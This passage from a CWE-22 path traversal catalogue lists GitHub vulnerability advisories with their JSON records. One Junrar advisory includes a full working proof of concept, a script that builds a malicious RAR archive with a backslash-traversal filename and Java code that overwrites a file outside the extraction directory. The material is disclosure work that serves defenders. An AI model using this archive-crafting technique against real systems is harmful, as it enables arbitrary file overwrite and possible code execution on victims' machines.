Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13318 vulnerabilities reference this CWE, most recent first.

GHSA-J24V-HVRR-GW8V

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14

Details

Improper Access Control in Jfinal CMS v4.7.1 and earlier allows remote attackers to obtain sensitive infromation via the 'getFolder()' function in the component '/modules/filemanager/FileManager.java'.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-19147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-15T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper Access Control in Jfinal CMS v4.7.1 and earlier allows remote attackers to obtain sensitive infromation via the \u0027getFolder()\u0027 function in the component \u0027/modules/filemanager/FileManager.java\u0027.",
  "id": "GHSA-j24v-hvrr-gw8v",
  "modified": "2022-05-24T19:14:39Z",
  "published": "2022-05-24T19:14:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19147"
    },
    {
      "type": "WEB",
      "url": "https://www.seebug.org/vuldb/ssvid-97883"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J24X-X8JJ-MV7G

Vulnerability from github – Published: 2024-10-03 18:30 – Updated: 2024-12-18 15:32

Details

A directory traversal vulnerability exists in the archive download functionality of Veertu Anka Build 1.42.0. A specially crafted HTTP request can lead to a disclosure of arbitrary files. An attacker can make an unauthenticated HTTP request to exploit this vulnerability.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-41163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-03T16:15:05Z",
    "severity": "HIGH"
  },
  "details": "A directory traversal vulnerability exists in the archive download functionality of Veertu Anka Build 1.42.0. A specially crafted HTTP request can lead to a disclosure of arbitrary files. An attacker can make an unauthenticated HTTP request to exploit this vulnerability.",
  "id": "GHSA-j24x-x8jj-mv7g",
  "modified": "2024-12-18T15:32:58Z",
  "published": "2024-10-03T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41163"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2024-2059"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-2059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J269-QHVQ-9Q42

Vulnerability from github – Published: 2022-06-28 00:00 – Updated: 2022-07-08 00:00

Details

A vulnerability was found in Album Lock 4.0 and classified as critical. Affected by this issue is some unknown functionality of the file /getImage. The manipulation of the argument filePaht leads to path traversal. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-20102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-27T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Album Lock 4.0 and classified as critical. Affected by this issue is some unknown functionality of the file /getImage. The manipulation of the argument filePaht leads to path traversal. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-j269-qhvq-9q42",
  "modified": "2022-07-08T00:00:51Z",
  "published": "2022-06-28T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20102"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.97268"
    },
    {
      "type": "WEB",
      "url": "https://www.vulnerability-lab.com/get_content.php?id=2033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J26C-27CJ-XP5R

Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35

Details

Helm ChartMuseum version >=0.1.0 and < 0.8.1 contains a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in HTTP API to save charts that can result in a specially crafted chart could be uploaded and saved outside the intended location. This attack appears to be exploitable via A POST request to the HTTP API can save a chart archive outside of the intended directory. If authentication is, optionally, enabled this requires an authorized user to do so. This vulnerability appears to have been fixed in 0.8.1.

Severity

6.5 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-1000009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-04T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Helm ChartMuseum version \u003e=0.1.0 and \u003c 0.8.1 contains a CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in HTTP API to save charts that can result in a specially crafted chart could be uploaded and saved outside the intended location. This attack appears to be exploitable via A POST request to the HTTP API can save a chart archive outside of the intended directory. If authentication is, optionally, enabled this requires an authorized user to do so. This vulnerability appears to have been fixed in 0.8.1.",
  "id": "GHSA-j26c-27cj-xp5r",
  "modified": "2022-05-14T01:35:22Z",
  "published": "2022-05-14T01:35:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1000009"
    },
    {
      "type": "WEB",
      "url": "https://helm.sh/blog/chartmuseum-security-notice-2019/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J273-M5QQ-6825

Vulnerability from github – Published: 2026-02-27 22:09 – Updated: 2026-02-27 22:09

Summary

Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix

Details

Summary

A backslash path traversal vulnerability in LocalFolderExtractor allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).

Details

The createFile() method in LocalFolderExtractor.java validates extraction paths using getCanonicalPath().startsWith() to ensure files stay within the destination directory:

File f = new File(destination, name);
String dirCanonPath = f.getCanonicalPath();
if (!dirCanonPath.startsWith(destination.getCanonicalPath())) {
    throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'");
}

On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named ..\..\tmp\evil.txt is treated by getCanonicalPath() as a single literal filename containing backslash characters — no .. resolution occurs, and the startsWith check passes.

However, makeFile() then splits the filename on backslashes and reconstructs the path using the platform's file separator:

final String[] dirs = name.split("\\\\");
// dirs = ["..", "..", "tmp", "evil.txt"]
// ...
path = path + File.separator + dirs[i];  // File.separator is "/" on Linux

This converts the literal backslashes into real directory traversal: ../../tmp/evil.txt. The extract() method then opens a FileOutputStream on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.

On Windows this is not exploitable because backslashes are path separators, so getCanonicalPath() correctly resolves the .. components and the startsWith check blocks the traversal.

Affected versions: Tested on 7.5.7 (latest). Likely affects all versions that include the makeFile() backslash-splitting logic in LocalFolderExtractor.

PoC (Files Below)

Prerequisites: Linux/Unix system with Java 17+ and Maven installed.

Run bash poc_setup.sh which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (..\..\tmp\existing-file), and creates /tmp/existing-file with the content "Existing File" to simulate a pre-existing file.
Run mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q
Observe the output shows /tmp/existing-file was overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content.

The PoC uses Junrar.extract() — the standard public API for extracting RAR archives.

Impact

Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.

This affects all Linux/Unix deployments. Windows is not affected.

POC Files

poc_setup.sh

#!/bin/bash
# Setup script for junrar backslash path traversal PoC
# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor
# Package: com.github.junrar:junrar 7.5.7 (Java)

set -e

# Use the directory where this script lives as the working directory
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$SCRIPT_DIR"

echo "=== Setting up junrar backslash path traversal PoC ==="
echo "Working directory: $SCRIPT_DIR"

# Clean up artifacts from previous runs
rm -f malicious.rar
rm -rf target extraction-output

# Verify Java and Maven are available
java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; }
mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; }

# Create Maven project
cat > pom.xml << 'POMEOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.test</groupId>
    <artifactId>junrar-poc</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>
    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.github.junrar</groupId>
            <artifactId>junrar</artifactId>
            <version>7.5.7</version>
        </dependency>
    </dependencies>
</project>
POMEOF

# Install dependencies
echo "Installing junrar 7.5.7..."
mvn dependency:resolve -q

# Copy and compile PoC
mkdir -p src/main/java/com/test
cp poc.java src/main/java/com/test/BackslashTraversalPoC.java
echo "Compiling PoC..."
mvn compile -q

# Verify junrar version
echo "Installed: junrar 7.5.7"

# Create the malicious RAR3 archive:
#   Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten"
#
# On Linux, createFile() validates the path using getCanonicalPath().startsWith().
# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT
# resolve the ".." components, so the check passes. makeFile() then splits on
# backslashes and joins with File.separator (/), converting the literal backslashes
# into real directory traversal: ../../tmp/existing-file
python3 << 'PYEOF'
import struct, zlib

RAR3_MAGIC = b'Rar!\x1a\x07\x00'
RAR_BLOCK_MAIN = 0x73
RAR_BLOCK_FILE = 0x74
RAR_BLOCK_ENDARC = 0x7b
RAR_LONG_BLOCK = 0x8000
RAR_OS_UNIX = 3
RAR_M0 = 0x30      # Store (no compression)
S_IFREG = 0o100000

def crc16(data):
    return zlib.crc32(data) & 0xFFFF

def main_header():
    # Standard RAR3 main archive header (non-encrypted)
    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)
    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)
    extra = struct.pack('<HI', 0, 0)  # HighPosAv=0, PosAv=0
    header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra
    return struct.pack('<H', crc16(header_data)) + header_data

def file_block(filename, file_data):
    fname = filename.encode('utf-8')
    data = file_data.encode('utf-8')
    mode = S_IFREG | 0o644
    # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,
    # then falls through to a switch on UNP_VER. Using 0 avoids matching any
    # decompression case (15/20/26/29/36), so only unstoreFile() runs.
    file_hdr = struct.pack('<LLBLLBBHL',
        len(data), len(data), RAR_OS_UNIX,
        zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,
        0, RAR_M0, len(fname), mode)
    header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,
        7 + len(file_hdr) + len(fname)) + file_hdr + fname
    return struct.pack('<H', crc16(header_body)) + header_body + data

def endarc():
    # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4
    header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)
    crc = crc16(header_data)
    return struct.pack('<H', crc) + header_data

archive = bytearray()
archive += RAR3_MAGIC
archive += main_header()
# Backslash-separated path: on Linux, createFile() sees literal backslashes,
# but makeFile() splits on them and joins with /
archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n')
archive += endarc()

with open('malicious.rar', 'wb') as f:
    f.write(archive)
PYEOF
echo "Created malicious.rar"

# Create the target file so it can be validated before running the payload
printf "Existing File\n" > /tmp/existing-file

echo ""
echo "=== Setup complete ==="
echo "Validate: cat /tmp/existing-file  (should show 'Existing File')"
echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q"

poc.java

package com.test;

import com.github.junrar.Junrar;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;

/**
 * PoC: Backslash path traversal bypass in junrar 7.5.7
 *
 * A RAR archive containing an entry with backslash-separated ".." components
 * bypasses the createFile() canonical path validation on Linux and writes
 * files outside the extraction directory via makeFile()'s path reconstruction.
 */
public class BackslashTraversalPoC {

    static final String TARGET = "/tmp/existing-file";
    static final String ARCHIVE = "malicious.rar";

    public static void main(String[] args) throws Exception {
        File archive = new File(ARCHIVE);
        if (!archive.exists()) {
            archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE);
        }

        // Step 1: Verify the pre-existing file (created by poc_setup.sh)
        File target = new File(TARGET);
        if (!target.exists()) {
            System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first.");
            System.exit(1);
        }

        System.out.println("Before extraction:");
        System.out.println("  " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim());
        System.out.println();

        // Step 2: Extract the malicious archive
        Path extractDir = Files.createTempDirectory("junrar-poc-");
        System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ...");
        try {
            Junrar.extract(archive, extractDir.toFile());
        } catch (Exception e) {
            System.out.println("Extraction error (may be expected): " + e.getMessage());
        }
        System.out.println();

        // Step 3: Show the result
        System.out.println("After extraction:");
        String content = Files.readString(Path.of(TARGET)).trim();
        System.out.println("  " + TARGET + " => " + content);
        System.out.println();

        if (content.equals("Overwritten")) {
            System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET);
        } else {
            System.out.println("NOT VULNERABLE: file contents unchanged");
        }
    }
}

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.github.junrar:junrar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-27T22:09:27Z",
    "nvd_published_at": "2026-02-26T23:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n    throw new IllegalStateException(\"Rar contains file with invalid path: \u0027\" + dirCanonPath + \"\u0027\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters \u2014 no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform\u0027s file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i];  // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry\u0027s content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass=\u0027com.test.BackslashTraversalPoC\u0027 -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` \u2014 the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2\u003e\u00261 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2\u003e\u00261 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat \u003e pom.xml \u003c\u003c \u0027POMEOF\u0027\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n    \u003cgroupId\u003ecom.test\u003c/groupId\u003e\n    \u003cartifactId\u003ejunrar-poc\u003c/artifactId\u003e\n    \u003cversion\u003e1.0\u003c/version\u003e\n    \u003cpackaging\u003ejar\u003c/packaging\u003e\n    \u003cproperties\u003e\n        \u003cmaven.compiler.source\u003e17\u003c/maven.compiler.source\u003e\n        \u003cmaven.compiler.target\u003e17\u003c/maven.compiler.target\u003e\n        \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n    \u003c/properties\u003e\n    \u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003ecom.github.junrar\u003c/groupId\u003e\n            \u003cartifactId\u003ejunrar\u003c/artifactId\u003e\n            \u003cversion\u003e7.5.7\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n\u003c/project\u003e\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n#   Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 \u003c\u003c \u0027PYEOF\u0027\nimport struct, zlib\n\nRAR3_MAGIC = b\u0027Rar!\\x1a\\x07\\x00\u0027\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30      # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n    return zlib.crc32(data) \u0026 0xFFFF\n\ndef main_header():\n    # Standard RAR3 main archive header (non-encrypted)\n    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n    extra = struct.pack(\u0027\u003cHI\u0027, 0, 0)  # HighPosAv=0, PosAv=0\n    header_data = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n    return struct.pack(\u0027\u003cH\u0027, crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n    fname = filename.encode(\u0027utf-8\u0027)\n    data = file_data.encode(\u0027utf-8\u0027)\n    mode = S_IFREG | 0o644\n    # UNP_VER=0: junrar\u0027s doUnpack() calls unstoreFile() when method==0x30,\n    # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n    # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n    file_hdr = struct.pack(\u0027\u003cLLBLLBBHL\u0027,\n        len(data), len(data), RAR_OS_UNIX,\n        zlib.crc32(data) \u0026 0xFFFFFFFF, 0x5A210000,\n        0, RAR_M0, len(fname), mode)\n    header_body = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n        7 + len(file_hdr) + len(fname)) + file_hdr + fname\n    return struct.pack(\u0027\u003cH\u0027, crc16(header_body)) + header_body + data\n\ndef endarc():\n    # junrar\u0027s EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n    header_data = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_ENDARC, 0x4000, 7)\n    crc = crc16(header_data)\n    return struct.pack(\u0027\u003cH\u0027, crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block(\u0027..\\\\..\\\\tmp\\\\existing-file\u0027, \u0027Overwritten\\n\u0027)\narchive += endarc()\n\nwith open(\u0027malicious.rar\u0027, \u0027wb\u0027) as f:\n    f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" \u003e /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file  (should show \u0027Existing File\u0027)\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass=\u0027com.test.BackslashTraversalPoC\u0027 -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated \"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()\u0027s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n    static final String TARGET = \"/tmp/existing-file\";\n    static final String ARCHIVE = \"malicious.rar\";\n\n    public static void main(String[] args) throws Exception {\n        File archive = new File(ARCHIVE);\n        if (!archive.exists()) {\n            archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n        }\n\n        // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n        File target = new File(TARGET);\n        if (!target.exists()) {\n            System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n            System.exit(1);\n        }\n\n        System.out.println(\"Before extraction:\");\n        System.out.println(\"  \" + TARGET + \" =\u003e \" + Files.readString(Path.of(TARGET)).trim());\n        System.out.println();\n\n        // Step 2: Extract the malicious archive\n        Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n        System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n        try {\n            Junrar.extract(archive, extractDir.toFile());\n        } catch (Exception e) {\n            System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n        }\n        System.out.println();\n\n        // Step 3: Show the result\n        System.out.println(\"After extraction:\");\n        String content = Files.readString(Path.of(TARGET)).trim();\n        System.out.println(\"  \" + TARGET + \" =\u003e \" + content);\n        System.out.println();\n\n        if (content.equals(\"Overwritten\")) {\n            System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n        } else {\n            System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n        }\n    }\n}\n```",
  "id": "GHSA-j273-m5qq-6825",
  "modified": "2026-02-27T22:09:27Z",
  "published": "2026-02-27T22:09:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/junrar/junrar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junrar/junrar/releases/tag/v7.5.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix"
}

GHSA-J27J-4W6M-8FC4

Vulnerability from github – Published: 2020-03-31 17:02 – Updated: 2020-08-31 18:54

Summary

Path Traversal in statics-server

Details

All versions of statics-server are vulnerable to Path Traversal. The package fails to limit access to files outside of the served folder through symlinks.

Recommendation

No fix is currently available. Do not use statics-server in production or consider using an alternative module until a fix is made available.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "statics-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-15596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-03-31T15:38:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "All versions of `statics-server` are vulnerable to Path Traversal. The package fails to limit access to files outside of the served folder through symlinks.\n\n\n## Recommendation\n\nNo fix is currently available. Do not use `statics-server` in production or consider using an alternative module until a fix is made available.",
  "id": "GHSA-j27j-4w6m-8fc4",
  "modified": "2020-08-31T18:54:26Z",
  "published": "2020-03-31T17:02:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15596"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/695416"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1303"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Path Traversal in statics-server"
}

GHSA-J282-VG3J-RC2J

Vulnerability from github – Published: 2023-01-28 00:30 – Updated: 2023-02-07 18:30

Details

Italtel NetMatch-S CI 5.2.0-20211008 allows Absolute Path Traversal under NMSCI-WebGui/SaveFileUploader. An unauthenticated user can upload files to an arbitrary path. An attacker can change the uploadDir parameter in a POST request (not possible using the GUI) to an arbitrary directory. Because the application does not check in which directory a file will be uploaded, an attacker can perform a variety of attacks that can result in unauthorized access to the server.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
